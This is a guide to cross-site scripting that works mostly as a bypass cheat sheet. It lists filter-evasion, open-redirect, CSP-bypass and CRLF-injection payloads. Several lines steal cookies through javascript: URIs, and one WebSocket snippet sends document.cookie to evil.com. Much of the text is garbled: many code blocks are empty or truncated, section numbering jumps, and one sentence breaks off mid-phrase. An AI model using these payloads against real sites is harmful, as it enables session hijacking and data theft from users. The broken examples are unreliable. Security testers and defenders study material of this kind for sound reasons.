# Comprehensive Guide on Cross-Site Scripting (XSS) and Its Bypasses Cross-Site Scripting (XSS) is a widespread vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. This guide covers the types of XSS, methodologies for detection and exploitation, contexts of injection, and advanced techniques for bypassing protections. 1. Introduction to XSS XSS attacks enable attackers to inject malicious scripts into web pages. These scripts can execute in the context of a user's browser, allowing attackers to steal information, hijack sessions, or perform actions on behalf of the user. 1.1 Types of XSS Stored XSS: The malicious script is permanently stored on the target server, such as in a database or comment field. Reflected XSS: The malicious script is reflected off a web server, typically via a URL query parameter. DOM-Based XSS: The vulnerability exists in the client-side code rather than the server-side code, and the attack payload is executed as a result of modifying the DOM environment. 2. Methodology for Detecting XSS 2.1 Identify Injection Points Check if any value you control (parameters, path, headers, cookies) is reflected in the HTML or used by JavaScript code. # Determine Reflection Context Raw HTML: Can you create new HTML tags or use attributes/events that support JavaScript? Inside HTML Tag: Can you exit to raw HTML or create events/attributes to execute JavaScript? Inside JavaScript Code: Can you escape the 4.3 Dangling Markup - HTML Scriptless Injection ``` If you cannot create executing HTML tags, you might abuse dangling markup, which involves placing incomplete tags that break the current HTML context. 4.3.1 Example Dangling Markup ``` Click herealert(1) ``` 4.4 JSON-based XSS When web applications parse JSON data and directly insert it into the DOM without proper sanitization, it can lead to XSS. 4.4.1 Example JSON-based XSS ``` {"name": " "} ``` 4.5 Bypassing Filters Using techniques like UTF-7 encoding, breaking out of existing tags, or leveraging uncommon payloads. Example UTF-7 Encoding ``` ``` 4.6 Using HTML Entities Encoding the payload using HTML entities to bypass filters that block certain characters. 4.6.1 Example HTML Entities ``` ``` 4.7 Null Byte Injection Using null bytes to bypass filters or terminate strings early. 4.7.1 Example Null Byte Injection ``` Click me
``` 4.8 Case Variation Altering the case of HTML tags and attributes to bypass case-sensitive filters. Obfuscation Techniques ``` // Obfuscation with white spaces alert(1) // Breaking up keywords alert(1) // Using concatenation alert(1) ``` Unexpected Input Variations ``` // Inline event handlers click // Injecting into attributes ``` 4.8.1 Example Case Variation ``` ``` 4.9 Using Backticks in JavaScript Bypassing filters by using backticks in JavaScript for template literals. 4.9.1 Example Using Backticks ``` ``` 4.10 Chained XSS Combining multiple injection points to achieve a successful XSS attack. 4.10.1 Example Chained XSS Injecting part of the payload in one input and another part in a different input to form a complete attack. 5. Exploiting DOM XSS DOM XSS occurs when a script on the page modifies the DOM based on user input, potentially leading to the execution of malicious scripts. 5.1 Finding and Exploiting DOM XSS Identify Sinks: Look for functions or methods (e.g., innerHTML, document.write) that render user-controlled input. Control Flow: Understand how user input flows through the application to these sinks. Payload Construction: Craft payloads that exploit these sinks. 5.1.1 Example DOM XSS Payload ``` ``` Bypassing Filters with Null Bytes Null byte injection can terminate strings early or bypass certain filters by injecting null characters. ``` ``` # Open Redirect Exploits Basic Open Redirect to XSS // Basic payload, JavaScript code is executed after "javascript:" javascript:alert(1) Bypassing "javascript" Word Filter with CRLF ``` java%0d%0ascript%0d%0a:alert(0) ``` Abusing Bad Subdomain Filter ``` javascript://sub.domain.com/%0Aalert(1) ``` JavaScript with "://" ``` javascript://%250Aalert(1) ``` ``` // Variation with query javascript://%250Aalert(1)//?1 javascript://%250A1?alert(1):0 ``` Other Variations ``` %09Jav%09ascript:alert(document.domain) javascript://%250Alert(document.location=document.cookie) /%09/javascript:alert(1); /%09/javascript:alert(1) //%5cjavascript:alert(1); //%5cjavascript:alert(1) /%5cjavascript:alert(1); /%5cjavascript:alert(1) javascript://%0aalert(1) <>javascript:alert(1); //javascript:alert(1); //javascript:alert(1) /javascript:alert(1); /javascript:alert(1) \j\av\a\s\cr\i\pt\:\a\l\ert\(1\) javascript:alert(1); javascript:alert(1) javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie) javascript:confirm(1) javascript://https://whitelisted.com/?z=%0Aalert(1) javascript:prompt(1) jaVAscript://whitelisted.com//%0d%0aalert(1);// javascript://whitelisted.com?%a0alert%281%29 /x:1/:///%01javascript:alert(document.cookie)/ ";alert(0);// ``` Open Redirect by Uploading SVG Files Using SVG files to perform open redirects can be effective, especially when the application allows file uploads. ``` ``` Client-Side Prototype Pollution to XSS Prototype pollution in JavaScript occurs when an attacker can modify the properties of Object.prototype. This can lead to XSS if these properties are used in sensitive operations. // Prototype pollution payload Object.prototype.polluted = 'polluted'; If the application uses a polluted object property in a dangerous way, this can lead to XSS: ``` var obj = {}; alert(obj.polluted); // Outputs: polluted ``` # How to Bypass Internal Filtering for XSS Bypassing internal filtering mechanisms such as Web Application Firewalls (WAFs) and input sanitization requires a deep understanding of how these filters operate and the techniques that can be used to circumvent them. This guide provides an in-depth look at various methods to bypass internal filtering mechanisms for XSS attacks. Internal filters and WAFs are designed to prevent malicious inputs by inspecting, sanitizing, or blocking suspicious content. Common filtering techniques include: Blacklisting: Blocking known malicious patterns or keywords. Whitelisting: Allowing only specific safe inputs. Encoding: Converting special characters to their HTML entities. Normalization: Simplifying input to a consistent form for easier inspection. Techniques for Bypassing Filters 2.1 Encoding and Decoding Using various encoding methods can help bypass filters that don't decode inputs before inspection. URL Encoding ``` %3Cscript%3Ealert(1)%3C/script%3E ``` Double URL Encoding ``` %253Cscript%253Ealert(1)%253C/script%253E ``` HTML Entities ``` <script>alert(1)</script> ``` Unicode Encoding ``` \u003Cscript\u003Ealert(1)\u003C/script\u003E ``` Case Variation Altering the case of HTML tags and attributes can bypass filters that are case-sensitive. ``` ``` Comment Insertion Inserting comments within the payload can break up patterns that the filter is looking for. ``` ipt>alert(1)ipt> ``` Using Null Bytes Null byte injection can terminate strings early or bypass certain filters. ``` ``` Breaking Up Keywords ``` alert(1) ``` Using Concatenation ``` alert(1) ``` Leveraging Browser Parsing Quirks Different browsers may interpret malformed HTML or JavaScript in ways that can be exploited. ``` ipt>alert(1)ipt> ``` Incomplete Tags ``` click ``` Inserting White Spaces and Line Breaks Using white spaces and line breaks to bypass filters. ``` alert(1) ``` Combining Techniques Combining multiple bypass techniques to create a payload that evades detection. ``` alert(1) %3Cscript%3E%61lert(1)%3C/script%3E alert(1)%00 ``` 3. Real-World Examples 3.1 URL Encoding and Decoding Using URL encoding to bypass filters that do not decode inputs before inspection. Combining case variation and comment insertion to bypass case-sensitive filters. ``` ipt>alert(1)ipt> ``` Null Byte Injection Using null bytes to terminate strings early or bypass certain filters. ``` ``` Obfuscation and Concatenation Using obfuscation and concatenation to avoid detection by filters. ``` alert(1) alert(1) ``` # Understanding CSP CSP works by allowing website owners to define a whitelist of trusted sources for content such as scripts, styles, images, and more. This is done through the Content-Security-Policy HTTP header. Key directives include: default-src: The default policy for loading content types. script-src: Defines trusted sources for JavaScript. style-src: Defines trusted sources for CSS. img-src: Defines trusted sources for images. 2. Common CSP Misconfigurations Misconfigured CSP policies are often the root cause of bypasses. Common issues include: Allowing unsafe-inline or unsafe-eval in script-src. Overly permissive whitelists. Failing to cover all possible directives, leaving certain content types unprotected. # Bypassing CSP JSONP (JSON with Padding) allows data to be fetched from a different domain using a ``` # Exploiting Script Gadgets Script gadgets are existing pieces of code on a website that can be exploited to perform unintended actions. This is particularly effective if unsafe-inline or unsafe-eval is used. Exploitation Find an existing inline script that can be manipulated. Inject code that modifies the behavior of the script. Content Injection via Whitelisted CDNs If a Content Delivery Network (CDN) is whitelisted, and the attacker can upload content to that CDN, they can inject malicious scripts. Exploitation Upload a malicious script to cdn.example.com. Include the script on the target site: ``` ``` Subresource Integrity (SRI) Bypass SRI is used to ensure that resources hosted on third-party servers have not been tampered with. However, if SRI is not used properly, it can be bypassed. Exploitation Host a script on a trusted domain without SRI. Include the script: ``` ``` Mutation XSS Mutation XSS exploits the way browsers handle dynamic content changes. If CSP allows unsafe-inline, attackers can inject payloads that mutate the DOM in unexpected ways. Exploitation: ```
``` Using WebSockets WebSockets can sometimes be used to exfiltrate data or execute JavaScript if allowed by CSP. Exploitation: ``` var ws = new WebSocket("wss://evil.com/socket"); ws.onopen = function() { ws.send(document.cookie); }; ``` CSP Nonce Reuse If the CSP nonce is reused or predictable, it can be exploited to run malicious scripts. Exploitation Predict or capture the nonce value. Use the nonce to execute a script: ``` ``` Example of a Secure CSP Header Here’s an example of a secure CSP header that mitigates most XSS attacks: ``` Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random-nonce'; style-src 'self' 'nonce-random-nonce'; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; ``` # CRLF Injection to XSS CRLF injection (Carriage Return Line Feed) is a vulnerability that occurs when an attacker can inject CRLF characters into an application, typically resulting in the manipulation of HTTP headers or log files. This guide explores how CRLF injection can be exploited to perform XSS attacks. 1. Understanding CRLF Injection CRLF injection vulnerabilities occur when an application improperly handles user input, allowing the injection of CR (Carriage Return, \r, %0d) and LF (Line Feed, \n, %0a) characters. This can lead to: Manipulation of HTTP headers Injection into logs HTTP response splitting Basic CRLF Injection CRLF injection can be used to inject new headers or modify the existing ones by breaking the intended structure of the HTTP response. GET /vulnerable.php?param=value%0d%0aInjected-Header: injected_value HTTP/1.1 In this example, Injected-Header: injected_value would be treated as a new header. CRLF Injection to XSS By leveraging CRLF injection, an attacker can inject malicious content, including scripts, into the HTTP response, potentially leading to XSS. 3.1 Injecting Scripts via HTTP Response Splitting HTTP response splitting occurs when CRLF injection allows the creation of additional HTTP responses. This can be exploited to insert scripts directly into the response body. Example Assume a vulnerable application includes user input directly in HTTP headers. An attacker can inject CRLF characters followed by a script tag. GET /vulnerable.php?param=value%0d%0aContent-Length:%2023%0d%0a%0d%0a HTTP/1.1 URL Redirection and CRLF Injection Another approach is to use CRLF injection to manipulate redirection headers and include XSS payloads. Consider an application that redirects users based on input parameters. An attacker can inject CRLF characters to terminate the location header and include a script. GET /redirect.php?url=http://example.com%0d%0aLocation:%20http://attacker.com/xss.html HTTP/1.1 Log Injection CRLF injection can also be used to manipulate server logs, potentially leading to XSS when logs are viewed in an insecure application. An attacker injects a script into log entries: GET /vulnerable.php?param=value%0d%0a%0d%0a HTTP/1.1 Advanced CRLF Injection Techniques 4.1 Double CRLF Injection Using multiple CRLF sequences to break the HTTP response in more complex scenarios. GET /vulnerable.php?param=value%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a HTTP/1.1 Hybrid Injection Combining CRLF injection with other techniques such as parameter pollution or path traversal to enhance the attack. GET /vulnerable.php?param1=value1¶m2=value2%0d%0aSet-Cookie:%20session=malicious_value%0d%0a%0d%0a HTTP/1.1 CRLF injection is a powerful technique that can lead to severe security vulnerabilities, including XSS. Understanding how to exploit and mitigate CRLF injection is crucial for securing web applications. By employing proper input validation, header handling, and security policies, developers can protect their applications from these attacks. # Other Vulnerabilities leading to XSS PDF Generation Vulnerabilities Dynamic PDF Content Injection When generating PDFs dynamically from user input, malicious content can lead to XSS. ``` // Vulnerable PDF generation code $pdf->writeHTML($_POST['user_input']); ``` XML Injection XML data that includes user input can be manipulated to include malicious scripts. ``` ``` XPath Injection Leading to XSS XPath injection vulnerabilities can be exploited to retrieve sensitive data and potentially inject XSS. ``` // Vulnerable XPath query $query = "//user[name/text()='" . $_POST['name'] . "']"; $result = $xpath->query($query); ``` Unsafe Use of innerHTML Using innerHTML to insert user input into the DOM can lead to XSS. ``` document.getElementById('output').innerHTML = user_input; ``` Exploiting URL Fragments User-controlled fragments in URLs can be manipulated to inject scripts. ``` // Vulnerable code using location.hash var fragment = location.hash.substring(1); document.getElementById('output').innerHTML = fragment; // If an attacker controls the URL http://example.com# ``` Misconfigured Content-Type Headers Misconfigured Content-Type headers can cause browsers to interpret data as executable scripts. ``` // Response with wrong Content-Type Content-Type: text/html {"user": ""} ``` Injecting Malicious Frames Injecting malicious content into iframe sources can lead to XSS. ``` // if an attacker submits http://example.com/page.php?page=http://malicious.com ``` Injecting Base Tags If script tags and event handler attributes are blogged you can try to leverage base tags for XSS ``` //lets say the site has a script tag like this ``` EventSource API Injection The EventSource API allows servers to push updates to the client. If the server sends unsanitized data, it can lead to XSS. ``` event: message\ndata: \n\n ``` CSS Content Property Injection If an application allows user input in CSS properties without sanitization, it can lead to XSS. Note:most browsers consider the content property text not html and this works under very certain conditions unsure whether the browser still accepts this however i have inserted here as a use case. ``` ``` Drag and Drop File Path Injection If a web application accepts dragged-and-dropped files and reflects their paths without sanitization, it can lead to XSS. Find the Files here: https://github.com/ShadowByte1/XSS-File-Path-Names ``` "> ``` Data Binding Libraries Injection If an application uses data binding libraries (like AngularJS) and reflects user input without sanitization, it can lead to XSS. ```
``` # Internationalized Domain Names (IDN) Homograph Attack Description: IDN allows the use of Unicode characters in domain names. Attackers can register domains that look visually similar to trusted domains by using characters from different languages that look alike. These domains can then host malicious content. Detailed Example of IDN Homograph Attack Domain Registration: The attacker registers a domain that looks similar to a trusted domain. For example, they can replace the Latin letter "a" with the Cyrillic letter "а" (U+0430). Trusted domain: example.com Malicious domain: exаmple.com (notice the Cyrillic "а") Punycode Representation: Browsers convert Unicode domains to ASCII-compatible encoding called Punycode. This representation starts with xn--. example.com (trusted domain) exаmple.com (malicious domain) becomes xn--exmple-2of.com Hosting Malicious Content: The attacker hosts a page on xn--exmple-2of.com with malicious scripts designed to look like the legitimate site but contain XSS payloads. Phishing Email or Link: The attacker sends phishing emails or messages with links to the malicious domain, tricking users into clicking them.